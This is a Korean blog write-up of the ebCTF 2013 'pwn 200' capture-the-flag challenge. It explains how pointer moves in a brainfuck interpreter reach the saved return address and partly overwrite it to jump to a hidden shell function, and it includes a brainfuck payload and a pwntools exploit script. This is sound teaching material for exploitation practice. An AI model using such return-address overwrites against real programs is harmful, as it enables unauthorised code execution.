KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/CTF

[ebCTF 2013] pwn 200

kdhzoot 2018. 11. 12. 11:31

brainfuck 관련된 문제이다.


https://ko.wikipedia.org/wiki/%EB%B8%8C%EB%A0%88%EC%9D%B8%ED%8D%BD


brainfuck은 컴퓨터 프로그래밍 언어로 미리 알고 있으면 문제를 푸는데 도움이 많이 된다. 




ida로 뜯어보니 shell이라는 함수가 있다.


누가봐도 ret값 변조 문제라서 brainfuck을 사용해 어떻게 메모리 값을 변조할지 생각해봤다.





bf_main 함수를 보면 switch문이 두개가 있다.


살펴보니 첫번째 스위치문은 그저 문자 명령을 정수로 바꾸는 작업이어서 볼 필요가 없었다. 



문제는 두번째 스위치문에 있다.


>를 사용해서 p의 값을 증가시켜 ret까지 주소값을 이동할 수 있지만,


str에서 참조할 때 4를 곱해서 참조하기 때문에 str의 시작으로부터 4의 배수인 메모리만 변조할 수 있는 것이다.


그래서 ret값을 변조 시킬 수 없다고 생각했는데 아니었다.


gdb로 뜯어서 ret값을 확인해보면



우리가 덮어씌워야 하는 shell 함수의 주솟값 0x08048a6e와 마지막 1바이트만 다르다는 것을 알 수 있다.


심지어 gdb로 확인해본 결과 str의 시작주소는 0xffffd090이고 ret값의 주소는 0xffffd15c이므로


0xCC 즉, 4의 배수인 204 만큼 떨어져 있어서 충분히 ret값 조작이 가능하다.




페이로드 구성


">" * 51 + "-" * 47


p 값을 51만큼만 증가시키는 이유는 str에서 인덱싱할 때 4를 곱해서 참조하기 때문이다. 51 * 4 = 204


그리고 기존 ret값 0x08048a9d와 shell 함수 주솟값 0x08048a6e의 차이인 0x2f(47) 만큼 - 해주면 된다.




exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
 
= process('./bf')
 
 
print p.recv(2222)
 
pay = '>'*51
pay += '.'
pay += "-"*47
pay += '.'
 
 
p.sendline(pay)
 
print p.recv(2222)
 
p.interactive()
cs



조작 전후 값을 확인하기 위해 '.'을 사이에 넣어주었다.




'정보보안 > CTF' 카테고리의 다른 글

[CodeGate 2013] Vuln200  (0) 2018.11.22
[CSAW CTF 2013] Exploitation4  (0) 2018.11.12
[CSAW CTF 2013] Exploitation3  (0) 2018.11.10
[CSAW CTF 2013] Exploitation2  (0) 2018.11.09
[DEFCON CTF 2015] r0pbaby  (0) 2018.11.08